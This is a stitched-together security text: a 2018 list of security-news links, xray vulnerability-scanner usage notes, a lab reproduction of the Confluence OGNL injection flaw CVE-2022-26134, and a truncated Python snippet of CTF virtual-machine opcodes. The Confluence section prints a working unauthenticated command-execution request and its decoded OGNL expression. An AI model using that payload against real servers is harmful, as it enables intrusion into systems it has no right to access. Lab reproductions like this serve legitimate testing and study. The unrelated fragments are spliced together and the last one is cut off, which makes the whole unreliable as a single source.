- 10.5 [Palo Alto Networks a Seven-Time Gartner Magic Quadrant Leader](https://researchcenter.paloaltonetworks.com/2018/10/palo-alto-networks-seven-time-gartner-magic-quadrant-leader/)
- 10.5 [APT28:新网络间谍活动将目标瞄准军事和政府机构](https://www.symantec.com/connect/zh-hans/blogs/apt28-0)
- 10.6 [Vulnhub靶机Wakanda渗透测试攻略](http://www.freebuf.com/articles/network/185023.html)
- 10.7 [挖洞经验 | 看我如何发现Facebook安卓APP的$8500美金Webview漏洞](http://www.freebuf.com/articles/terminal/184500.html)
- 10.8 [廉价安卓手机的秘密:暗藏后门来获利](http://www.ijiandao.com/2b/baijia/173259.html)
- 10.9 [物联网僵尸网络“捉迷藏”新变种发现:Android 设备成新受害者](http://hackernews.cc/archives/24232)
- 10.9 [前端安全系列(一):如何防止XSS攻击?](http://www.freebuf.com/articles/web/185654.html)
- 10.10 [家用路由器的安全性几何?](http://www.freebuf.com/news/186029.html)
- 10.10 [昨天,我的手机收到了一条霸占全屏的匿名“信息”](http://www.freebuf.com/articles/network/186022.html)
- 10.10 [BLE安全入门及实战(3)](https://www.secpulse.com/archives/76377.html)
- 10.10 [工业互联网安全:风起于青萍之末](https://www.aqniu.com/vendor/39420.html)
- 10.11 [网络间谍组织APT28瞄准军事和政府机构](https://www.aqniu.com/threat-alert/39456.html)
- 10.11 [Shielding Software From Privileged Side-Channel Attacks](https://www.securitygossip.com/blog/2018/10/11/shielding-software-from-privileged-side-channel-attacks)
- 10.11 [Fake Flash Updaters Push Cryptocurrency Miners](https://researchcenter.paloaltonetworks.com/2018/10/unit42-fake-flash-updaters-push-cryptocurrency-miners/)
- 10.11 [DNS后门及其检测](http://www.freebuf.com/articles/network/185324.html)
- 10.11 [美国GAO武器系统安全报告:先进武器装备多存在安全漏洞](http://www.freebuf.com/news/186414.html)
- 10.11 [知己知彼之新型勒索Viro Botnet Ransomware的功能分析](http://www.freebuf.com/articles/terminal/185735.html)
- 10.11 [华夏银行技术处长编写病毒程序取款700余万占为己有,现已受审](http://www.freebuf.com/news/186335.html)
- 10.11 [Adaptable, All-in-One Android Trojan Shows the Future of Malware](https://threatpost.com/adaptable-all-in-one-android-trojan-shows-the-future-of-malware/138215/)
- 10.11 [New TeleBots backdoor: First evidence linking Industroyer to NotPetya](https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/)
- 10.11 [2018 上半年有 45 亿账号被盗 平均每分钟 4822 个](http://hackernews.cc/archives/24251)
- 10.11 [医疗互联网服务敏感数据泄露风险调查报告](http://www.freebuf.com/vuls/186160.html)
- 10.12 [APT组织ZooPark V3版移动样本分析](http://www.freebuf.com/articles/terminal/185500.html)
- 10.14 [安卓手机搭建渗透环境(无需Root)](http://www.freebuf.com/sectool/186251.html)
- 10.15 [Danger-zone :一款可将域、IP和email地址关联并可视化输出的工具](http://www.freebuf.com/sectool/185771.html)
- 10.15 [移动安全自动化测试框架MobSF多个版本静态分析接口存在的任意文件写入漏洞复现与分析](http://www.freebuf.com/vuls/185937.html)
- 10.15 [无字母数字Webshell之提高篇](http://www.freebuf.com/articles/web/186298.html)
- 10.15 [顺藤摸瓜,炒股交流群里的黑产陷阱](http://www.freebuf.com/articles/network/186525.html)
- 10.16 [技术讨论 | 一种基于软件捆绑方式Bypass AV的思路](http://www.freebuf.com/articles/system/186168.html)
- 10.16 [一次入侵应急响应分析](http://www.freebuf.com/articles/network/186071.html)
- 10.16 [新型鼠标光标劫持攻击将允许攻击者劫持GoogleChrome会话](http://www.freebuf.com/articles/web/185853.html)
- 10.16 [SMS-based two-factor authentication is not safe — consider these alternative 2FA methods instead](https://www.kaspersky.com/blog/2fa-practical-guide/24219/)
- 10.17 [网络安全威胁信息格式规范正式发布,国内威胁情报发展迎来新阶段](http://www.freebuf.com/news/186490.html)
[在线预览|GB/T 36643-2018](http://c.gb688.cn/bzgk/gb/showGb?type=online&hcno=971636AF85AD7158EA50BB428F67C803)
- 10.17 [开源软件源代码安全缺陷分析报告——人工智能类开源软件专题](http://www.freebuf.com/articles/paper/186281.html)
- 10.17 [Ubiquitous SEO Poisoning URLs](http://www.zscaler.com/blogs/research/ubiquitous-seo-poisoning-urls-0)
- 10.17 [小心!这个木马偷了网易的身份证 还能远程控制你的电脑](https://www.aqniu.com/threat-alert/39677.html)
- 10.18 [免越狱虚拟定位外挂的调试小记与检测方案](https://www.secpulse.com/archives/76854.html)
- 10.18 [Linux应急响应(三):挖矿病毒](https://www.secpulse.com/archives/76825.html)
- 10.19 [Cookie篡改与命令注入](http://www.freebuf.com/vuls/181368.html)
- 10.19 [给我一个无线切入点,我就可以操控你的物理隔离网络](http://www.freebuf.com/articles/es/186565.html)
- 10.20 [XMR恶意挖矿案例简析](http://www.freebuf.com/articles/system/186743.html)
- 10.21 [广撒网,多捞鱼:当黑客们也不再“安于本分”](http://www.freebuf.com/news/186393.html)
- 10.21 [逃避沙箱并滥用WMI:新型勒索软件PyLocky分析](http://www.freebuf.com/articles/system/186626.html)
- 10.22 [2017年十大Web黑客技术榜单](http://www.freebuf.com/articles/web/186739.html)
- 10.22 [AI与安全的恩怨情仇五部曲「1」:Misuse AI](http://www.freebuf.com/articles/network/186634.html)
- 10.22 [短网址安全浅谈](http://www.freebuf.com/vuls/186837.html)
- 10.22 [彪悍的中国大妈写进了《华尔街日报》,但这次她们可能要折戟区块链](http://www.freebuf.com/articles/network/186774.html)
- 10.22 [马蜂窝被发现大量抓取竞争对手的数据](https://www.solidot.org/story?sid=58304)
- 10.22 [安全报告 | 从恶意流量看2018十大互联网安全趋势](https://www.secpulse.com/archives/76938.html)
- 10.22 [不要光看表面 网络犯罪的潜在成本无法计算](https://www.aqniu.com/news-views/39819.html)
- 10.22 [技术讨论 | 看我如何破解一台自动售货机](http://www.freebuf.com/articles/terminal/186804.html)
- 10.23 [利用DNS重绑定攻击内网中的IoT设备](http://www.droidsec.cn/利用dns重绑定攻击内网中的iot设备/)
- 10.23 [NSA新型APT框架曝光:DarkPulsar](http://www.freebuf.com/articles/network/187424.html)
- 10.23 [Scrounger:一款功能强大的移动端应用程序安全测试套件](http://www.freebuf.com/sectool/186624.html)
- 10.23 [黑客窃取有无线解锁功能的汽车的7种姿势](http://www.freebuf.com/news/186703.html)
- 10.23 [Google Play上发现的银行木马可窃取受害者的银行账户](http://www.freebuf.com/articles/system/187236.html)
- 10.23 [DarkHotel(黑店)APT组织针对朝鲜半岛的精确打击行动](http://www.freebuf.com/articles/network/187067.html)
- 10.23 [卸载就完事儿了?App照样能追踪你的数据](http://hackernews.cc/archives/24308)
- 10.24 [室友靠打游戏拿30万offer,秘密竟然是……](https://www.freebuf.com/news/186871.html)
- 10.24 [Waiting for goDoH](https://sensepost.com/blog/2018/waiting-for-godoh/)
- 10.24 [针对医疗行业的5大攻击手段](https://www.aqniu.com/learn/39906.html)
- 10.25 [你的手机在监视你,你也可以监视它](https://www.solidot.org/story?sid=58350)
- 10.25 [看我如何在Weblogic里捡一个XXE(CVE-2018-3246)](https://www.freebuf.com/vuls/186862.html)
- 10.25 [安全研究 | 传真机的攻击面研究报告](https://www.freebuf.com/articles/paper/186769.html)
- 10.26 [2018双十一前夕电商行业黑灰产研究报告](https://www.freebuf.com/articles/es/187600.html)
- 10.26 [WannaMine僵而不死:假装被美国土安全局查封](https://www.freebuf.com/articles/paper/187295.html)
- 10.27 [应用日活增长背后的黑产狂欢——安卓拉活病毒研究](https://www.freebuf.com/articles/wireless/187268.html)
- 10.27 [ANDRAX:最新的Android智能手机上的渗透测试平台](https://www.freebuf.com/sectool/187100.html)
- 10.27 [病毒史上的六個怪咖:逼打電玩、裝萌賣可愛、找名人代言、綁架檔案不要錢….](https://blog.trendmicro.com.tw/?p=57744)
- 10.28 [保护SSH端口安全性的多种技巧介绍](https://www.freebuf.com/articles/network/185956.html)
- 10.28 [打开JBoss的潘多拉魔盒:JBoss高危漏洞分析](https://www.freebuf.com/vuls/186948.html)
- 10.28 [赛门铁克邮件网关身份验证绕过漏洞(CVE-2018-12242)分析](https://www.freebuf.com/vuls/187052.html)
- 10.29 [ZombieboyMiner(僵尸男孩矿工)控制7万台电脑挖门罗币](https://www.freebuf.com/articles/paper/187556.html)
- 10.30 [十种进程注入技术介绍:常见注入技术及趋势调查](https://www.freebuf.com/articles/system/187239.html)
- 10.30 [收到“来自自己”的敲诈邮件,请不要惊慌](https://www.freebuf.com/articles/network/187522.html)
- 10.30 [Fallout Exploit Kit Releases the Kraken Ransomware on Its Victims](https://securingtomorrow.mcafee.com/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/)
- 10.31 [一键安装藏隐患,phpStudy批量入侵的分析与溯源](https://www.freebuf.com/articles/system/187653.html)
- 10.31 [才发布几个小时 有黑客发现了 iOS 12.1 一个新的密码绕过漏洞](http://hackernews.cc/archives/24341)
- 10.31 [如何使用serviceFu这款功能强大的远程收集服务帐户凭据工具](https://www.freebuf.com/sectool/187241.html)
- 0x10
- 11.1 [自动化反弹Shell防御技术](https://www.freebuf.com/articles/system/187584.html)
- 11.1 [低功耗蓝牙(BLE)攻击分析](https://www.freebuf.com/articles/wireless/187843.html)
- 11.2 [Linux应急故事之四两拨千斤:黑客一个小小玩法,如何看瞎双眼](https://www.freebuf.com/articles/terminal/187842.html)
- 11.2 [BCMUPnP_Hunter:疑似10万节点级别的僵尸网络正在滥用家用路由器发送垃圾邮件](http://blog.netlab.360.com/bcmupnp_hunter-a-100k-botnet-is-seeming-abusing-home-routers-for-spam-emails/)
- 11.2 [隐藏套件:虚假的身份,特殊的后门](https://www.freebuf.com/articles/network/188364.html)
- 11.2 [Gartner:2018年10大安全项目详解](https://www.freebuf.com/articles/paper/188284.html)
- 11.3 [交易所漏洞之薅羊毛分析](https://www.freebuf.com/articles/blockchain-articles/188030.html)
- 11.3 [安全报告 | 2018年游戏行业安全监测报告及五大攻击趋势](https://www.freebuf.com/articles/paper/188153.html)
- 11.4 [Blackout勒索病毒再度来袭](https://www.freebuf.com/articles/terminal/188046.html)
- 11.5 [MacOS再次出现漏洞,号称牢不可破的系统也有弱点](https://www.freebuf.com/news/188168.html)
- 11.5 [开源Botnet框架Byob分析](https://www.freebuf.com/sectool/187819.html)
- 11.6 [T级攻击态势下解析DDOS高防IP系统架构](https://www.freebuf.com/articles/network/188199.html)
- 11.6 [银行木马Trickbot新模块:密码抓取器分析](https://www.freebuf.com/vuls/188295.html)
- 11.6 [bscan:信息收集和服务枚举工具](https://www.freebuf.com/sectool/188149.html)
- 11.7 [Linux下的Rootkit驻留技术分析](https://www.freebuf.com/articles/system/188211.html)
- 11.7 [2018年上半年物联网恶意活动&僵尸网络数据摘要](https://www.freebuf.com/news/188339.html)
- 11.7 [卡巴斯基2018 Q3全球DDoS攻击分析报告](https://www.freebuf.com/articles/network/188212.html)
- 11.8 [CIA通讯系统存在漏洞,疑似被伊朗政府入侵](https://www.freebuf.com/news/188731.html)
- 11.8 [邮件伪造技术与检测](https://www.freebuf.com/articles/database/188313.html)
- 11.9 [初探伪装在Office宏里的反弹Shell](https://www.freebuf.com/vuls/188398.html)
- 11.10 [双十一将近,黑产压境电商平台应该何去何从](https://www.freebuf.com/articles/security-management/188812.html)
- 11.10 [PcapXray:一款功能强大的带有GUI的网络取证工具](https://www.freebuf.com/sectool/188508.html)
- 11.11 [使用VENOM工具绕过反病毒检测](https://www.freebuf.com/articles/network/188515.html)
- 11.12 [Hacking 101 to mobile data](https://insinuator.net/2018/02/hacking-101-to-mobile-data/)
- 11.12 [Google Play出現假銀行應用程式,進行簡訊釣魚(SMiShing)詐騙](https://blog.trendmicro.com.tw/?p=57929)
- 11.15 [如何在Android APK中植入Meterpreter](https://www.freebuf.com/articles/terminal/188585.html)
- 11.16 [BlobRunner:一款功能强大的恶意软件Shellcode调试与分析工具](https://www.freebuf.com/sectool/188770.html)
- 11.16 [How To Tell If Your Account Has Been Hacked](https://motherboard.vice.com/en_us/article/bjeznz/how-do-you-know-when-youve-been-hacked-gmail-facebook)
- 11.16 [macOS恶意软件发起MITM攻击](https://www.secpulse.com/archives/81341.html)
- 11.17 [这个GAN生成的指纹,可以破解半数手机的指纹锁](http://www.ijiandao.com/2b/baijia/184757.html)
- 11.17 [威胁清单 | 全球500强企业弃用的Web应用存在安全隐患](https://www.freebuf.com/news/188837.html)
- 11.17 [幽灵再现:数据泄露漏洞影响英特尔、AMD、ARM芯片](https://www.aqniu.com/hack-geek/40741.html)
- 11.19 [恶性木马下载器“幽虫”分析](https://www.freebuf.com/articles/web/189357.html)
- 11.19 [AI武器化后安全界将面临什么状况](https://www.aqniu.com/news-views/40796.html)
- 11.19 [一波盗取俄罗斯用户银行卡资金的定向攻击样本分析](https://mp.weixin.qq.com/s/EO4Bqwj0koWN7wjhIqYisg)
- 11.20 [回归原点: 关于移动互联网的十个问题](http://www.ijiandao.com/2b/baijia/185247.html)
- 11.20 [威胁情报不起作用的5个主要原因](https://www.aqniu.com/news-views/40833.html)
- 11.21 [快讯丨被恶意软件盯上,以安全性著称的iOS也不再安全](https://www.freebuf.com/news/189957.html)
- 11.22 [威胁情报专栏:谈谈我所理解的威胁情报——认识情报](https://www.anquanke.com/post/id/164836)
- 11.22 [2018上半年日韩支付类病毒变化趋势研究报告](https://www.freebuf.com/articles/paper/189780.html)
- 11.23 [从某电商钓鱼事件探索黑客“一站式服务”](https://www.freebuf.com/articles/terminal/189726.html)
- 11.23 [情报分析与研判之图片信息挖掘(1)](https://www.anquanke.com/post/id/164831)
- 11.24 [U2F安全协议分析](https://www.anquanke.com/post/id/164960)
- 11.24 [恶意挖矿攻击的现状、检测及处置](https://www.freebuf.com/articles/system/189454.html)
- 11.24 [关于移动终端的短信安全分析](https://www.freebuf.com/articles/terminal/189453.html)
- 11.25 [Cynet:全方位一体化安全防护工具](https://www.freebuf.com/articles/terminal/189439.html)
- 11.26 [攻击者可通过侧通道攻击暴露Facebook、XBox用户账户](https://www.freebuf.com/articles/database/189412.html)
- 11.26 [“乱世”木马家族分析报告](https://www.freebuf.com/articles/terminal/190077.html)
- 11.26 [WEB安全入门系列之文件上传漏洞详解](https://www.secpulse.com/archives/78800.html)
- 11.26 [Mobile Rotexy Malware Touts Ransomware, Banking Trojan Functions](https://threatpost.com/mobile-rotexy-malware-touts-ransomware-banking-trojan-functions/139350/)
- 11.26 [Rotexy木马:兼具银行木马与拦截器功能](https://www.kaspersky.com.cn/blog/rotexy-banker-blocker/9974/)
- 11.27 [千万下载量开源软件托管给陌生人 植入恶意代码窃取用户密币](https://www.anquanke.com/post/id/166654)
- 11.27 [窃听风云:扒掉你的最后一条“胖次”](https://www.freebuf.com/vuls/190340.html)
- 11.27 [event-stream 作者谈库的维护](https://www.solidot.org/story?sid=58730)
- 11.27 [实锤案分享 攻防骚对抗 | 黑产挖矿的路子居然这么野了?](https://www.anquanke.com/post/id/166681)
- 11.27 [一起围观以色列安全公司Cynet的安管平台](https://www.freebuf.com/news/189555.html)
- 11.27 [Fake Voice Apps on Google Play, Botnet Likely in Development](https://blog.trendmicro.com/trendlabs-security-intelligence/fake-voice-apps-on-google-play-botnet-likely-in-development/)
- 11.28 [捕获一起恶意入侵事件的攻击溯源](https://www.freebuf.com/articles/terminal/190375.html)
- 11.28 [DNSpionage:针对中东的攻击活动](https://www.anquanke.com/post/id/166739)
- 11.29 [蔓灵花(BITTER)APT组织使用InPage软件漏洞针对巴基斯坦的攻击及团伙关联分析](https://www.anquanke.com/post/id/166861)
- 11.29 [探究绝地求生玩家被“误封”的真相](https://www.freebuf.com/articles/paper/190357.html)
- 11.29 [CVE-2018-17612:没想到吧?买个耳机也有潜在的安全风险](https://www.anquanke.com/post/id/166877)
- 11.29 [看我如何通使用Lambda函数对AWS帐户进行攻击测试](https://www.freebuf.com/articles/network/189688.html)
- 11.29 [2019年网络安全的9个预测](https://www.aqniu.com/industry/41176.html)
- 11.30 [路由器漏洞频发,Mirai新变种来袭](https://www.freebuf.com/articles/terminal/190554.html)
- 11.30 [中通自动化安全运营的一些思考](https://www.secpulse.com/archives/82911.html)
- 11.30 [对于某个PHP大马的分析](http://blog.nsfocus.net/analysis-php-horse/)
- 11.30 [波及近5亿用户,万豪酒店集团遭遇超大规模数据泄露](https://www.freebuf.com/news/190984.html)
- 0x11
- 12.2 [针对马拉维(MALAWI)国民银行的网络攻击样本分析报告](https://www.freebuf.com/articles/network/190689.html)
- 12.3 [拦截流量注入广告:针对macOS的SearchPageInstaller恶意软件分析](https://www.freebuf.com/articles/network/189868.html)
- 12.3 [从插件入手:挖掘WordPress站点的“后入式BUG”](https://www.freebuf.com/articles/web/190356.html)
- 12.3 [IMSI-catcher:可发现附近手机敏感信息的工具](https://www.freebuf.com/sectool/189949.html)
- 12.3 [趨勢科技歷年來打擊網路犯罪成果](https://blog.trendmicro.com.tw/?p=57956)
- 12.4 [2019年应当认真对待的6大移动安全威胁](https://www.freebuf.com/news/190108.html)
- 12.4 [近期诈骗小故事:微信小程序成诈骗新阵地](https://www.anquanke.com/post/id/167056)
- 12.4 [阿里云Q2互联网威胁攻击分析报告](https://sec-lab.aliyun.com/2018/12/03/%E9%98%BF%E9%87%8C%E4%BA%91Q2%E4%BA%92%E8%81%94%E7%BD%91%E5%A8%81%E8%83%81%E6%94%BB%E5%87%BB%E5%88%86%E6%9E%90%E6%8A%A5%E5%91%8A/)
- 12.4 [KingMiner:说好的挖75% 怎么挖到100%了呢](https://www.anquanke.com/post/id/167160)
- 12.4 [HASSH : 一种新型网络指纹识别标准,可用于识别特定的客户端和服务器SSH](https://www.freebuf.com/sectool/190076.html)
- 12.4 [“微信支付”勒索病毒愈演愈烈 边勒索边窃取支付宝密码](https://www.secpulse.com/archives/83090.html)
- 12.4 [BLE安全(五)移动端工具](http://www.gandalf.site/2018/12/ble.html)
- 12.5 [白话物联网安全(二):物联网的安全检测](https://www.freebuf.com/articles/wireless/191065.html)
- 12.6 [微信支付勒索病毒愈演愈烈,边勒索边窃取支付宝密码](https://www.freebuf.com/articles/paper/191154.html)
- 12.6 [GandCrab传播新动向:五毒俱全的蠕虫病毒技术分析](https://www.freebuf.com/articles/system/191020.html)
- 12.7 [威胁情报的落地实践之场景篇](http://blog.nsfocus.net/scenario-landing-practice-threat-intelligence/)
- 12.7 [恶意软件分析之盗号木马](https://www.anquanke.com/post/id/167013)
- 12.8 [Zebrocy新组件渗透过程详细解析](https://www.freebuf.com/articles/network/190749.html)
- 12.10 [仿冒签名攻击频现,针对外贸行业精准钓鱼](https://www.freebuf.com/articles/network/191257.html)
- 12.10 [一则有趣的XSS WAF规则探测与绕过](https://www.freebuf.com/articles/web/190995.html)
- 12.10 [Android adware tricks ad networks into thinking it's an iPhone to make more money](https://www.zdnet.com/article/android-adware-tricks-ad-networks-into-thinking-its-an-iphone-to-make-more-money/)
- 12.10 [The Ransomware Doctor Without A Cure](https://blog.checkpoint.com/2018/12/10/ransomware-shifro-scam-russia-cyber-crime/)
- 12.10 [卡巴斯基曝光 DarkVishnya 银行内网攻击案件细节](http://hackernews.cc/archives/24579)
- 12.10 [威胁情报专栏:公开资源情报计划——OSINT](https://www.anquanke.com/post/id/167564)
- 12.11 [黑客无需网络钓鱼进入Email收件箱](https://www.aqniu.com/industry/41669.html)
- 12.13 [Fortinet《2019威胁态势预测》:网络犯罪五大趋势](https://www.aqniu.com/industry/41769.html)
- 12.13 [搭建自己的硬件植入工具](https://www.freebuf.com/articles/terminal/190409.html)
- 12.13 [你以为自己在填验证码,其实你是在给Google义务劳动](https://www.pingwest.com/a/181245)
- 12.14 [新型 Android 银行木马可绕过 PayPal 双因素认证窃取用户资金](https://www.anquanke.com/post/id/167870)
- 12.14 [Armor:一款功能强大的macOS Payload加密工具,可绕过大部分AV](https://www.freebuf.com/sectool/190620.html)
- 12.16 [SubDomainizer:用于查找页面Javascript文件中隐藏子域的工具](https://www.freebuf.com/sectool/190891.html)
- 12.17 [疑似国内某知名团伙的最新挖矿脚本分析](https://www.freebuf.com/articles/web/191867.html)
- 12.17 [CSO怎么做(11)2018年系列收尾兼回答几个问题](https://www.sec-un.org/cso%e6%80%8e%e4%b9%88%e5%81%9a%ef%bc%8811%ef%bc%892018%e5%b9%b4%e7%b3%bb%e5%88%97%e6%94%b6%e5%b0%be%e5%85%bc%e5%9b%9e%e7%ad%94%e5%87%a0%e4%b8%aa%e9%97%ae%e9%a2%98/)
- 12.18 [逐鹿安全沙龙:商业银行欺骗防御与SDL体系落地的实践](https://www.aqniu.com/vendor/41898.html)
- 12.18 [攻击欺骗技术助企业实现威胁情报的“一早三光”](https://www.aqniu.com/vendor/41916.html)
- 12.18 [“驱动人生”利用高危漏洞传播病毒 12月14日半天感染数万台电脑](https://www.secpulse.com/archives/93133.html)
- 12.18 [安全思维模型解读谷歌零信任安全架构(安全设计视角)](https://www.freebuf.com/articles/network/191017.html)
- 12.18 [白话物联网安全(三):IoT设备的安全防御](https://www.freebuf.com/articles/wireless/192086.html)
- 12.18 [一场精心策划的针对驱动人生公司的定向攻击活动分析](https://www.freebuf.com/articles/system/192194.html)
- 12.19 [如何应用风险管理框架(RMF)](https://www.aqniu.com/learn/41957.html)
- 12.19 [初探Powershell与AMSI检测对抗技术](https://www.anquanke.com/post/id/168210)
- 12.19 [‘Operation Sharpshooter’ Targets Global Defense, Critical Infrastructure | McAfee Blogs](https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-sharpshooter-targets-global-defense-critical-infrastructure/)
- 12.20 [SamSam作者又出来浪了](https://www.secpulse.com/archives/93553.html)
- 12.20 [密码朋克的社会实验(一):开灯看暗网](https://www.freebuf.com/articles/rookie/192080.html)
- 12.20 [揭秘勒索界“海王”是如何横扫中国的](https://www.freebuf.com/articles/terminal/191868.html)
- 12.20 [EU Cables Hacked for Years by China: Report](https://www.infosecurity-magazine.com/news/eu-cables-hacked-for-years-by/)
- 12.21 [还在用工具激活系统?小心被当做矿机!](https://www.freebuf.com/articles/terminal/192379.html)
- 12.21 [商业公司以制作病毒为主业 已有数十万台电脑被感染](https://www.secpulse.com/archives/93645.html)
- 12.21 [iOS URL Schemes与漏洞的碰撞组合](https://www.secpulse.com/archives/93784.html)
- 12.22 [BabySploit:一个针对初学者的渗透测试框架](https://www.freebuf.com/sectool/191272.html)
- 12.24 [揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了](https://www.freebuf.com/articles/system/192275.html)
- 12.24 [“HTTPS劫匪木马”卷土重来 单日攻击高达190万次](https://www.aqniu.com/threat-alert/42055.html)
- 12.24 [我的信息搜集之道](https://www.freebuf.com/articles/web/190403.html)
- 12.25 [引导舆论导向?伊朗组织通过伪造虚假新闻网站进行宣传和洗脑](https://www.freebuf.com/articles/network/192255.html)
- 12.25 [业务驱动安全:安全人员应当了解的7个业务指标](https://www.aqniu.com/news-views/42090.html)
- 12.25 [借助虚假海啸警报传播的恶意软件](https://www.anquanke.com/post/id/168477)
- 12.26 [商业公司以制作病毒为主业,已有数十万台电脑被感染](https://www.freebuf.com/articles/paper/192395.html)
- 12.27 [如何远程利用PHP绕过Filter以及WAF规则](https://www.anquanke.com/post/id/168667)
- 12.27 [Sn1per v6.0:一款专为安全专家设计的自动化渗透测试框架](https://www.freebuf.com/sectool/191767.html)
- 12.27 [起底游戏、会员代充背后的洗钱之术,你可能是“帮凶”](https://www.anquanke.com/post/id/168746)
- 12.27 [实际场景下如何在POC中检测Empire的攻击流量](https://www.freebuf.com/articles/network/191352.html)
- 12.27 [ADB. Mirai: 利用ADB调试接口进行传播的Mirai新型变种僵尸网络](http://blog.nsfocus.net/adb-mirai-variant-botnet/)
- 12.28 [F-Secure:针对法国工控行业的一波网络钓鱼攻击](https://www.freebuf.com/articles/paper/192187.html)
- 12.28 [网络空间测绘系列——2018年摄像头安全报告](https://www.anquanke.com/post/id/168776)
- 12.28 [密码学幼稚园 | 密码朋克的社会实验(二)](https://www.anquanke.com/post/id/168821)
- 12.28 [个税APP有木马 上线1天发现62例](https://www.aqniu.com/threat-alert/42217.html)
- 12.29 [浅谈读取USB键盘流量的隐藏数据技巧](https://www.freebuf.com/articles/network/191815.html)
- 12.30 [HTTPS劫匪木马卷土重来,盯上新闻娱乐购物网站](https://www.freebuf.com/articles/database/192774.html)
- 12.31 [使用radare2逆向iOS Swift应用程序](https://www.freebuf.com/articles/terminal/191595.html)
- 12.31 [Android (安卓)桌布應用程式出現廣告詐騙活動](https://blog.trendmicro.com.tw/?p=58454)
****
##关于
author: [drov_liu](none)
|
sec-knowleage
|
# xray
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**项目地址**
- https://github.com/chaitin/xray
**官方文档**
- https://docs.xray.cool/
**相关文章**
- [对5.6w条xray结果的简单分析](https://mp.weixin.qq.com/s/vhNGTBq8owncjlWyPJ0XGA)
---
## 使用
**生成证书**
```
xray genca
```
**爬虫爬取**
```bash
xray webscan --basic-crawler http://testphp.vulnweb.com --html-output vuln.html
```
**被动扫描**
```bash
xray ws --listen 127.0.0.1:7777 --html-output proxy.html
```
---
## 漏洞扫描
**漏洞扫描**
```bash
xray ws -u http://testphp.vulnweb.com --html-output report.html
```
**批量poc**
```bash
xray ws -p /pentest/xray/pocs/\* --url-file target.txt --html-output report.html
```
**指定poc**
```bash
xray ws -p "./xxx.yml" -u http://example.com/?a=b
```
**shiro**
```bash
xray webscan --plugins shiro --url-file target.txt --html-output x.html
```
---
## 代理
**burp 转发给 xray**
xray 监听 127.0.0.1:7777
burp Upstream Proxy Servers 中配置 127.0.0.1 7777 即可转发
**转发给 burp 查看流量**
burp 监听 127.0.0.1:8080
config.yaml 中配置 proxy: "http://127.0.0.1:8080" ,在 burp 中查看流量即可
|
sec-knowleage
|
# Confluence OGNL表达式注入命令执行漏洞(CVE-2022-26134)
Atlassian Confluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新,通告了一个严重且已在野利用的代码执行漏洞,攻击者利用这个漏洞即可无需任何条件在Confluence中执行任意命令。
参考链接:
- <https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html>
- <https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis>
## 漏洞环境
执行如下命令启动一个Confluence Server 7.13.6:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8090`即可进入安装向导,参考[CVE-2019-3396](https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396)这个环境中的安装方法,申请试用版许可证。在填写数据库信息的页面,PostgreSQL数据库地址为`db`,数据库名称`confluence`,用户名密码均为`postgres`。

## 漏洞复现
该漏洞利用方法十分简单,直接发送如下请求即可执行任意命令,并在HTTP返回头中获取执行结果:
```
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
```

其中使用到的OGNL表达式为`${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}`。
|
sec-knowleage
|
opcodes = """
public static final int NOP = 0;
public static final int INCSP = 1;
public static final int POPV = 2;
public static final int ADD = 3;
public static final int SUB = 4;
public static final int MUL = 5;
public static final int DIV = 6;
public static final int AND = 7;
public static final int OR = 8;
public static final int MOD = 9;
public static final int SHL = 10;
public static final int SHR = 11;
public static final int XOR = 12;
public static final int GETV = 13;
public static final int PUTV = 14;
public static final int INVOKE = 15;
public static final int AGETV = 16;
public static final int APUTV = 17;
public static final int LGETV = 18;
public static final int LPUTV = 19;
public static final int NEWA = 20;
public static final int NEWC = 21;
public static final int RETURN = 22;
public static final int RET = 23;
public static final int NEWS = 24;
public static final int GOTO = 25;
public static final int EQ = 26;
public static final int LT = 27;
public static final int LTE = 28;
public static final int GT = 29;
public static final int GTE = 30;
public static final int NE = 31;
public static final int ISNULL = 32;
public static final int ISA = 33;
public static final int CANHAZPLZ = 34;
public static final int JSR = 35;
public static final int TS = 36;
public static final int IPUSH = 37;
public static final int FPUSH = 38;
public static final int SPUSH = 39;
public static final int BT = 40;
public static final int BF = 41;
public static final int FRPUSH = 42;
public static final int BPUSH = 43;
public static final int NPUSH = 44;
public static final int INV = 45;
public static final int DUP = 46;
public static final int NEWD = 47;
public static final int GETM = 48;
public static final int LPUSH = 49;
public static final int DPUSH = 50;
public static final int THROW = 51;
public static final int CPUSH = 52;
public static final int ARGC = 53;
public static final int NEWBA = 54;
"""
srcmap = """
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconMenuDelegate.mc:6 initialize (pc 268435456)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconMenuDelegate.mc:7 initialize (pc 268435460)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconMenuDelegate.mc:10 onMenuItem (pc 268435479)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconMenuDelegate.mc:11 onMenuItem (pc 268435483)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconMenuDelegate.mc:12 onMenuItem (pc 268435494)
C:/Users/lyc/eclipse-workspace/hitcon/source/hitconMenuDelegate.mc:13 onMenuItem (pc 268435518)
